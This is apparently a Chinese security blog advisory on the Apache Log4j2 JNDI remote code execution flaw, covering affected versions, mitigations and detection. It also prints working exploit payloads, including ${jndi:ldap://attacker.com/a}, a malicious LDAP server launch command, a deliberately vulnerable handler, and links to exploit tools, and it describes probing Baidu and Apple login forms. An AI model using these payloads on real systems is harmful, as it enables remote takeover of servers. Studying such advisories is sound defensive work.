Apache Log4j任意代码执行漏洞|RCE

Apache Log4j任意代码执行漏洞|RCE

漏洞描述

Apache Log4j2 是一个基于 Java 的日志工具。这个工具重写了Log4j框架,引入了很多丰富的特性。日志框架广泛应用于业务系统开发中,用于记录日志信息。

大多数情况下,开发人员可能会将用户输入导致的错误信息写入日志。攻击者可以利用该特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

2021年11月24日,阿里云安全团队正式向Apache报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2的部分功能具有递归分析功能,攻击者可以直接构造恶意请求触发远程代码执行漏洞。

漏洞利用不需要特殊配置。经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink,srping-boot-strater-log4j2等均受到影响。 

目前该漏洞POC、EXP已公开,攻击危害大,利用复杂度低,影响范围广。
建议相关用户及时进行修补更新,做好相关防护措施。

Apache Log4j任意代码执行漏洞|RCE

漏洞级别:

严重(严重)

受影响的版本

2.0 <= Apache log4j2 <= 2.14.1

影响判断方法:用户只需检查Java应用是否引入了log4j-api和log4j-core两个jar。如果有应用程序使用,很可能会受到影响。

当前漏洞状态

细节是否公开PoC状态EXP状态在野利用
已公开已公开已公开已发现

Apache Log4j 任意代码执行漏洞

漏洞名称Apache Log4j 任意代码执行漏洞
漏洞类型代码执行
公开状态已公开
风险等级紧急
漏洞ID暂无
是否在野利用
漏洞描述Apache Log4j 是 Apache 的一个开源项目,通过定义每一条日志信息的级别
能够更加细致地控制日志生成过程。
经过分析,Log4j-2中存在JNDI注入漏洞
当程序将用户输入的数据进行日志记录时,即可触发此漏洞
成功利用此漏洞可以在目标服务器上执行任意代码。
参考链接https://github.com/apache/logging-log4j2

谁受到影响

已经发现Steam、Apple iCloud,百度等云服务和 Minecraft 等应用程序容易受到这种攻击。许多其他人也可能是。

任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。

许多开源项目,如 Minecraft 服务器Paper,已经开始修补它们对log4j

(服务器和客户端,只需在聊天框中输入 PoC)
(提示:使用 dnslog 进行测试(无payloads),因此应该不会引起任何问题)

百度公司漏洞测试截图

Apache Log4j任意代码执行漏洞|RCE
Apache Log4j任意代码执行漏洞|RCE

苹果公司漏洞测试截图

在登录框输入poc代码进行dns查询

Apache Log4j任意代码执行漏洞|RCE

dns查询成功返回代码.

Apache Log4j任意代码执行漏洞|RCE
Apache Log4j任意代码执行漏洞|RCE

修复建议

1.升级到最新版本:

请联系厂商获取修复后的官方版本:

github.com/apache/logging-log4j2

已发现官方修复代码,目前尚未正式发布:

github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

2.缓解措施:

(1). jvm参数 -Dlog4j2.formatMsgNoLookups=true     

(2). log4j2.formatMsgNoLookups=True

(3).系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

(4) 限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测.

3.流量查询

攻击者发送的数据包中可能存在”${jndi:}” 字样,推荐使用全流量或WAF设备进行检索排查。

攻击者在利用前通常采用dnslog方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的”javax.naming.CommunicationException”、”javax.naming.NamingException: problem generating object using object factory”、”Error looking up JNDI resource”关键字进行排查

4.人工检测是否受影响

1:相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能存在该漏洞。

Apache Log4j任意代码执行漏洞|RCE

2: 若程序使用Maven打包,查看项目的pom.xml文件中是否存在下图所示的相关字段,若版本号为小于2.15.0,则存在该漏洞。

Apache Log4j任意代码执行漏洞|RCE

3、若程序使用gradle打包,可查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0,则存在该漏洞。

from

相关EXP+POC

${jndi:ldap://127.0.0.1:1389/xxxxxx}
Apache Log4j任意代码执行漏洞|RCE

Log4j 漏洞的 PoC 已被发布在互联网上

github.com/tangxiaofeng7/apache-log4j-poc

Apache Log4j任意代码执行漏洞|RCE

有漏洞的代码示例

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

利用步骤

  1. 来自用户的数据被发送到服务器(通过任何协议),
  2. 服务器记录请求中的数据,包含恶意负载:(${jndi:ldap://attacker.com/a}其中attacker.com是攻击者控制的服务器),
  3. log4j漏洞由该有效载荷触发,服务器attacker.com通过“ Java 命名和目录接口”(JNDI)发出请求,
  4. 此响应包含注入服务器进程的远程 Java 类文件(例如http://second-stage.attacker.com/Exploit.class)的路径,
  5. 此注入的有效载荷触发第二阶段,并允许攻击者执行任意代码。

由于此类 Java 漏洞非常常见,安全研究人员已经创建了工具来轻松利用它们。该marshalsec项目是一个说明产生漏洞的有效载荷,可用于针对该漏洞的一处。您可以参考此恶意 LDAP 服务器以获取漏洞利用示例。

漏洞利用条件

  • 运行易受攻击log4j版本的服务器(如上所列),
  • 具有任何协议(HTTP、TCP 等)的远程访问端点,允许攻击者发送任意数据,
  • 端点中记录攻击者控制数据的日志语句。

漏洞复现

github.com/cckuailong/No-CVE/log4j-2-14-1-RCE

启动恶意LDAP / RMI 服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

工具地址:
github.com/welk1n/JNDI-Injection-Exploit

Apache Log4j任意代码执行漏洞|RCE

连接启动的恶意server

${jndi:ldap://127.0.0.1:1389/xxxxxx}
Apache Log4j任意代码执行漏洞|RCE

Apache官方的 2.15.0-rc1只修复了ldap利用,没有修复rmi利用,然后又紧急发布了第2个补丁2.15.0-rc2

log4j2 jndi rce漏洞分析

github.com/pen4uin//vulnerability-analysis/log4j2

漏洞分析

根据流传的payload搭建测试环境

log4j_rce.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j_rce {
    private static final Logger logger = LogManager.getLogger(log4j_rce.class);
    public static void main(String[] args) {
        logger.error("暂时打码处理"}");
    }
}

一步一步跟进,最后跟到

org.apache.logging.log4j.core.lookup.Interpolator#lookup

Apache Log4j任意代码执行漏洞|RCE

似乎就是这里,测下断点,调试

Apache Log4j任意代码执行漏洞|RCE

答案呼之欲出,lookup + jndi!

其实这里可以触发的不只是error,默认情况下fatal也可以,即便实际的业务场景肯定会有所不同(只会更多)。

漏洞复现

起一个恶意的LDAPRefServer、恶意类Evil

Apache Log4j任意代码执行漏洞|RCE

然后触发即可

Apache Log4j任意代码执行漏洞|RCE

公共dnslog平台:

ceye.io

dnslog.link

dnslog.cn

dnslog.io

tu4.org

awvsscan119.autoverify.cn

burpcollaborator.net

s0x.cn

https://log.咕.com/

漏洞复现视频演示

https://www.bilibili.com/.k=VzzoaYK

漏洞靶场

http://vulfocus.fofa.so/#/dashboard?image_id=..

在创建此帖子时(2021 年 12 月 10日),log4j-2.15.0-rc1此处提供了一个补丁.

参考

https://github.com/welk1n/JNDI-Injection-Exploit
JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

https://github.com/feihong-cs/JNDIExploit
A malicious LDAP server for JNDI injection attacks

https://github.com/0x727/JNDIExploit
一款用于JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。

https://github.com/welk1n/JNDI-Injection-Bypass
Some payloads of JNDI Injection in JDK 1.8.0_191+

https://github.com/wyzxxz/fastjson_rce_tool
fastjson漏洞检测辅助工具, JNDI服务利用工具 RMI/LDAP,支持部分场景回显,内存shell等,也是log4j rce 命令执行辅助利用神器

https://github.com/mbechler/marshalsec
Java Unmarshaller Security – Turning your data into code execution

https://github.com/mrknow001/fastjson_rec_exploitfastjson
一键命令执行

Log4j:
https://github.com/tangxiaofeng7/apache-log4j-poc
Apache Log4j 远程代码执行

https://github.com/Al0sc/Log4j-rceLog4j-rce

https://github.com/Marcelektro/Log4J-RCE-Implementation
Basically run this (replacing the ip and port to the server in this repo): ${jndi:ldap://127.0.0.1:3710/a}

https://github.com/notrhys/Log-4J-Exploit-Fix
A simple plugin that prevents the Log4J exploit that allows for RCE, IP-Logging and server crashing

https://github.com/zhangyoufu/log4j2-without-jndi
log4j2-core JAR w/o JndiLookup.class

https://github.com/LoliKingdom/NukeJndiLookupFromLog4j
Selection of ways to remove JndiLookup in now obsolete Minecraft versions

转载请注明出处及链接

One comment

Leave a Reply

您的电子邮箱地址不会被公开。